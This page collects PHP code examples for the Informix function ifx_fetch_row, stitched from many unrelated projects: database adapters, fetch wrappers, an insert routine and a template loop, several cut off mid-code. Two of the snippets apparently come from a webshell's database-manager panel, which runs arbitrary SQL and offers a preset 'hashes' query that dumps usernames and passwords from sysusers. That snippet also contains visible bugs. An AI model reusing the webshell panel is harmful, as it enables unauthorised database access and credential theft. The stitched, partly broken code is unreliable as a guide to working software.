PHP ifx_fetch_row函数代码示例

 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  *
  * @param resource $d The datasource resource
  */
 function informixAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $ob = "";
     $fieldcount = ifx_num_fields($d);
     $be = $this->isBigEndian;
     $fc = pack('N', $fieldcount);
     if (ifx_num_rows($d) > 0) {
         $line = ifx_fetch_row($d, "FIRST");
         do {
             //Write inner inner (data) array
             $ob .= "\n" . $fc;
             foreach ($line as $key => $value) {
                 if (is_string($value)) {
                     // string
                     $os = $this->_directCharsetHandler->transliterate($value);
                     $len = strlen($os);
                     if ($len < 65536) {
                         $ob .= "" . pack('n', $len) . $os;
                     } else {
                         $ob .= "\f" . pack('N', $len) . $os;
                     }
                 } elseif (is_float($value) || is_int($value)) {
                     //numberic
                     $b = pack('d', $value);
                     // pack the bytes
                     if ($be) {
                         // if we are a big-endian processor
                         $r = strrev($b);
                     } else {
                         // add the bytes to the output
                         $r = $b;
                     }
                     $ob .= "" . $r;
                 } elseif (is_bool($value)) {
                     //bool
                     $ob .= "" . pack('c', $value);
                 } elseif (is_null($value)) {
                     // null
                     $ob .= "";
                 }
             }
         } while ($line = ifx_fetch_row($d, "NEXT"));
     }
     $this->serializedData = $ob;
     $properties = ifx_fieldproperties($d);
     for ($i = 0; $i < $fieldcount; $i++) {
         $this->columnNames[$i] = $this->_directCharsetHandler->transliterate(key($properties));
         next($properties);
     }
     $this->numRows = ifx_num_rows($d);
 }

 /**
  * Constructor method for the adapter.  This constructor implements the setting of the
  * 3 required properties for the object.
  *
  * @param resource $d The datasource resource
  */
 function informixAdapter($d)
 {
     parent::RecordSetAdapter($d);
     $fieldcount = ifx_num_fields($d);
     $properties = ifx_fieldproperties($d);
     for ($i = 0; $i < $fieldcount; $i++) {
         $this->columns[$i] = key($properties);
         next($properties);
     }
     if (ifx_num_rows($d) > 0) {
         $line = ifx_fetch_row($d, "FIRST");
         do {
             $this->rows[] = $line;
         } while ($line = ifx_fetch_row($d, "NEXT"));
     }
 }

 function _fetch($ignore_fields = false)
 {
     $this->fields = @ifx_fetch_row($this->_queryID);
     if (!is_array($this->fields)) {
         return false;
     }
     if ($this->fetchMode == ADODB_FETCH_NUM) {
         foreach ($this->fields as $v) {
             $arr[] = $v;
         }
         $this->fields = $arr;
     }
     return true;
 }

 /**
  * Se Mueve al resultado indicado por $number en un select
  * Hay problemas con este metodo hay problemas con curesores IFX_SCROLL
  *
  * @param int $number
  * @param resource $result_query
  * @return boolean
  */
 public function data_seek($number, $result_query = '')
 {
     if (!$result_query) {
         $result_query = $this->last_result_query;
         if (!$result_query) {
             return false;
         }
     }
     if (($success = ifx_fetch_row($result_query, $number)) !== false) {
         return $success;
     } else {
         throw new KumbiaException($this->error());
     }
     return false;
 }

//.........这里部分代码省略.........
             if (PEAR::isError($value)) {
                 $this->raiseError($value->toString(), DB_DATAOBJECT_ERROR_INVALIDARGS);
                 return false;
             }
             $rightq .= $value;
             continue;
         }
         if (!($v & DB_DATAOBJECT_NOTNULL) && DB_DataObject::_is_null($this, $k)) {
             $rightq .= " NULL ";
             continue;
         }
         // DATE is empty... on a col. that can be null..
         // note: this may be usefull for time as well..
         if (!$this->{$k} && ($v & DB_DATAOBJECT_DATE || $v & DB_DATAOBJECT_TIME) && !($v & DB_DATAOBJECT_NOTNULL)) {
             $rightq .= " NULL ";
             continue;
         }
         if ($v & DB_DATAOBJECT_STR) {
             $rightq .= $this->_quote((string) ($v & DB_DATAOBJECT_BOOL ? $this->{$k} === 'f' ? 0 : (int) (bool) $this->{$k} : $this->{$k})) . " ";
             continue;
         }
         if (is_numeric($this->{$k})) {
             $rightq .= " {$this->{$k}} ";
             continue;
         }
         /* flag up string values - only at debug level... !!!??? */
         if (is_object($this->{$k}) || is_array($this->{$k})) {
             $this->debug('ODD DATA: ' . $k . ' ' . print_r($this->{$k}, true), 'ERROR');
         }
         // at present we only cast to integers
         // - V2 may store additional data about float/int
         $rightq .= ' ' . intval($this->{$k}) . ' ';
     }
     // not sure why we let empty insert here.. - I guess to generate a blank row..
     if ($leftq || $useNative) {
         $table = $quoteIdentifiers ? $DB->quoteIdentifier($this->__table) : $this->__table;
         if ($dbtype == 'pgsql' && empty($leftq)) {
             $r = $this->_query("INSERT INTO {$table} DEFAULT VALUES");
         } else {
             $r = $this->_query("INSERT INTO {$table} ({$leftq}) VALUES ({$rightq}) ");
         }
         if (PEAR::isError($r)) {
             $this->raiseError($r);
             return false;
         }
         if ($r < 1) {
             return 0;
         }
         // now do we have an integer key!
         if ($key && $useNative) {
             switch ($dbtype) {
                 case 'mysql':
                 case 'mysqli':
                     $method = "{$dbtype}_insert_id";
                     $this->{$key} = $method($_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->connection);
                     break;
                 case 'mssql':
                     // note this is not really thread safe - you should wrapp it with
                     // transactions = eg.
                     // $db->query('BEGIN');
                     // $db->insert();
                     // $db->query('COMMIT');
                     $db_driver = empty($options['db_driver']) ? 'DB' : $options['db_driver'];
                     $method = $db_driver == 'DB' ? 'getOne' : 'queryOne';
                     $mssql_key = $DB->{$method}("SELECT @@IDENTITY");
                     if (PEAR::isError($mssql_key)) {
                         $this->raiseError($mssql_key);
                         return false;
                     }
                     $this->{$key} = $mssql_key;
                     break;
                 case 'pgsql':
                     if (!$seq) {
                         $seq = $DB->getSequenceName(strtolower($this->__table));
                     }
                     $db_driver = empty($options['db_driver']) ? 'DB' : $options['db_driver'];
                     $method = $db_driver == 'DB' ? 'getOne' : 'queryOne';
                     $pgsql_key = $DB->{$method}("SELECT currval('" . $seq . "')");
                     if (PEAR::isError($pgsql_key)) {
                         $this->raiseError($pgsql_key);
                         return false;
                     }
                     $this->{$key} = $pgsql_key;
                     break;
                 case 'ifx':
                     $this->{$key} = array_shift(ifx_fetch_row(ifx_query("select DBINFO('sqlca.sqlerrd1') FROM systables where tabid=1", $_DB_DATAOBJECT['CONNECTIONS'][$this->_database_dsn_md5]->connection, IFX_SCROLL), "FIRST"));
                     break;
             }
         }
         if (isset($_DB_DATAOBJECT['CACHE'][strtolower(get_class($this))])) {
             $this->_clear_cache();
         }
         if ($key) {
             return $this->{$key};
         }
         return true;
     }
     $this->raiseError("insert: No Data specifed for query", DB_DATAOBJECT_ERROR_NODATA);
     return false;
 }

 /**
  * Fetch a row and return as array.
  *
  * @param   $result     Informix result identifier
  * @param   $row         (reference) array where data from the row is stored
  * @param   $fetchmode      how the resulting array should be indexed
  * @param   $rownum     the row number to fetch
  *
  * @return int an array on success, a DB error code on failure, NULL
  *             if there is no more data
  */
 function fetchInto($result, &$row, $fetchmode, $rownum=null)
 {
     if (($rownum !== null) && ($rownum < 0)) {
         return null;
     }
     // if $rownum is null, fetch row will return the next row
     if (!$row = @ifx_fetch_row($result, $rownum)) {
         return null;
     }
     if ($fetchmode !== DB_FETCHMODE_ASSOC) {
         $i=0;
         $order = array();
         foreach ($row as $key => $val) {
             $order[$i++] = $val;
         }
         $row = $order;
     }
     return DB_OK;
 }

 /**
  * Places a row from the result set into the given array
  *
  * Formating of the array and the data therein are configurable.
  * See DB_result::fetchInto() for more information.
  *
  * This method is not meant to be called directly.  Use
  * DB_result::fetchInto() instead.  It can't be declared "protected"
  * because DB_result is a separate object.
  *
  * @param resource $result    the query result resource
  * @param array    $arr       the referenced array to put the data in
  * @param int      $fetchmode how the resulting array should be indexed
  * @param int      $rownum    the row number to fetch (0 = first row)
  *
  * @return mixed  DB_OK on success, NULL when the end of a result set is
  *                 reached or on failure
  *
  * @see DB_result::fetchInto()
  */
 function fetchInto($result, &$arr, $fetchmode, $rownum = null)
 {
     if ($rownum !== null && $rownum < 0) {
         return null;
     }
     if ($rownum === null) {
         /*
          * Even though fetch_row() should return the next row  if
          * $rownum is null, it doesn't in all cases.  Bug 598.
          */
         $rownum = 'NEXT';
     } else {
         // Index starts at row 1, unlike most DBMS's starting at 0.
         $rownum++;
     }
     if (!($arr = @ifx_fetch_row($result, $rownum))) {
         return null;
     }
     if ($fetchmode !== DB_FETCHMODE_ASSOC) {
         $i = 0;
         $order = array();
         foreach ($arr as $val) {
             $order[$i++] = $val;
         }
         $arr = $order;
     } elseif ($fetchmode == DB_FETCHMODE_ASSOC && $this->options['portability'] & DB_PORTABILITY_LOWERCASE) {
         $arr = array_change_key_case($arr, CASE_LOWER);
     }
     if ($this->options['portability'] & DB_PORTABILITY_RTRIM) {
         $this->_rtrimArrayValues($arr);
     }
     if ($this->options['portability'] & DB_PORTABILITY_NULL_TO_EMPTY) {
         $this->_convertNullArrayValuesToEmpty($arr);
     }
     return DB_OK;
 }

 function NumberOfRows($result)
 {
     $result_value = intval($result);
     if (!isset($this->current_row[$result_value])) {
         return $this->SetError("Number of rows", "attemped to obtain the number of rows contained in an unknown query result");
     }
     if (!isset($this->rows[$result_value])) {
         if (!$this->GetColumnNames($result)) {
             return 0;
         }
         if (isset($this->limits[$result_value])) {
             if (!$this->SkipFirstRows($result)) {
                 $this->rows[$result_value] = 0;
                 return 0;
             }
             $limit = $this->limits[$result_value][1];
         } else {
             $limit = 0;
         }
         if ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) {
             if (isset($this->row_buffer[$result_value])) {
                 $this->current_row[$result_value]++;
                 $this->results[$result_value][$this->current_row[$result_value]] = $this->row_buffer[$result_value];
                 unset($this->row_buffer[$result_value]);
             }
             for (; ($limit == 0 || $this->current_row[$result_value] + 1 < $limit) && GetType($this->results[$result_value][$this->current_row[$result_value] + 1] = ifx_fetch_row($result)) == "array"; $this->current_row[$result_value]++) {
             }
         }
         $this->rows[$result_value] = $this->current_row[$result_value] + 1;
     }
     return $this->rows[$result_value];
 }

//.........这里部分代码省略.........
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">

         }
     }
     //fin while
     ifx_free_result($g_idq);
 } else {
     if ($_SESSION['control_campos_co'] == 7) {
         // ubicación
         $bloqueo = "set isolation to dirty read";
         p_query($bloqueo);
         $vector_v_direcciones = array();
         $pos_vec_direcciones = 0;
         $sql = "SELECT g.t_direccion FROM v_direccion g " . $c_direccion2_vetor_dir;
         p_query($sql);
         $num = ifx_affected_rows($g_idq);
         $filas = 0;
         while ($registro = ifx_fetch_row($g_idq)) {
             $filas++;
             if ($filas == 1) {
                 $vector_v_direcciones[$pos_vec_direcciones][1] = $registro['t_direccion'];
                 $depurado = $registro['t_direccion'];
                 //echo "correcto-". $correcto=trim($depurado," ","\t","\n","\r","\0","\x0B","-",".","º","!","$","%","&","/","(",")","=","?","¿");
                 $correcto = str_replace("\t", " ", $depurado);
                 $correcto = str_replace("\n", " ", $correcto);
                 $correcto = str_replace("\r", " ", $correcto);
                 $correcto = str_replace("", " ", $correcto);
                 $correcto = str_replace("\v", " ", $correcto);
                 $correcto = str_replace("-", " ", $correcto);
                 $correcto = str_replace(".", " ", $correcto);
                 $correcto = str_replace("º", " ", $correcto);
                 $correcto = str_replace("!", " ", $correcto);
                 $correcto = str_replace("\$", " ", $correcto);

 /**
  * FUNCTION: setDbLoop [** EXPERIMENTAL **]
  *
  * Function to create a loop from a Db result resource link.
  *
  * @param string $loopname to commit loop. If not set, will use last loopname set using newLoop()
  * @param string $result link to a Db result resource
  * @param string $db_type, type of db that the result resource belongs to.
  * @return boolean true/false
  * @access public
  */
 function setDbLoop($loopname, $result, $db_type = 'MYSQL')
 {
     $db_type = strtoupper($db_type);
     if (!in_array($db_type, $this->allowed_loop_dbs)) {
         vlibTemplateError::raiseError('VT_WARNING_INVALID_LOOP_DB', WARNING, $db_type);
         return false;
     }
     $loop_arr = array();
     switch ($db_type) {
         case 'MYSQL':
             if (get_resource_type($result) != 'mysql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = mysql_fetch_assoc($result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'POSTGRESQL':
             if (get_resource_type($result) != 'pgsql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             $nr = function_exists('pg_num_rows') ? pg_num_rows($result) : pg_numrows($result);
             for ($i = 0; $i < $nr; $i++) {
                 $loop_arr[] = pg_fetch_array($result, $i, PGSQL_ASSOC);
             }
             break;
         case 'INFORMIX':
             if (!$result) {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = ifx_fetch_row($result, 'NEXT')) {
                 $loop_arr[] = $r;
             }
             break;
         case 'INTERBASE':
             if (get_resource_type($result) != 'interbase result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = ibase_fetch_row($result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'INGRES':
             if (!$result) {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = ingres_fetch_array(INGRES_ASSOC, $result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'MSSQL':
             if (get_resource_type($result) != 'mssql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = mssql_fetch_array($result)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'MSQL':
             if (get_resource_type($result) != 'msql result') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while ($r = msql_fetch_array($result, MSQL_ASSOC)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'OCI8':
             if (get_resource_type($result) != 'oci8 statement') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while (OCIFetchInto($result, $r, OCI_ASSOC + OCI_RETURN_LOBS)) {
                 $loop_arr[] = $r;
             }
             break;
         case 'ORACLE':
             if (get_resource_type($result) != 'oracle Cursor') {
                 vlibTemplateError::raiseError('VT_WARNING_INVALID_RESOURCE', WARNING, $db_type);
                 return false;
             }
             while (ora_fetch_into($result, $r, ORA_FETCHINTO_ASSOC)) {
                 $loop_arr[] = $r;
//.........这里部分代码省略.........

 function db_fetch($oStmt)
 {
     return @ifx_fetch_row($oStmt);
 }

 /**	
  * Get the name of the specified field in a result
  * @param Mixed qHanle		The query handle
  * @param Number offset
  * @return String
  */
 public function field_name($qHanle, $offset)
 {
     $count = 1;
     foreach (ifx_fetch_row($qHanle) as $fname => $val) {
         if ($count == $offset) {
             return $fname;
         }
         $count += $count;
         // ?
     }
     return "";
 }

//.........这里部分代码省略.........
        print <<<END
<form method="POST" name="ifxform" action="?s=w&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br>
<script language="javascript">
function ifxFull(i){
\tStr = new Array(11);
        Str[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
        Str[2] = "select name from sysdatabases;";
        Str[3] = "select tabname from systables;";
        Str[4] = "select colname from syscolumns where tabid=n;";
        Str[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
        <option value="1">dbservername</option>
        <option value="1">databases</option>
        <option value="2">tables</option>
        <option value="3">columns</option>
        <option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$ifxrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);

 function _fetch($ignore_fields = false)
 {
     $this->fields = ifx_fetch_row($this->_queryID);
     #$this->fields = ifx_fetch_row($this->_queryID);
     return $this->fields == true;
 }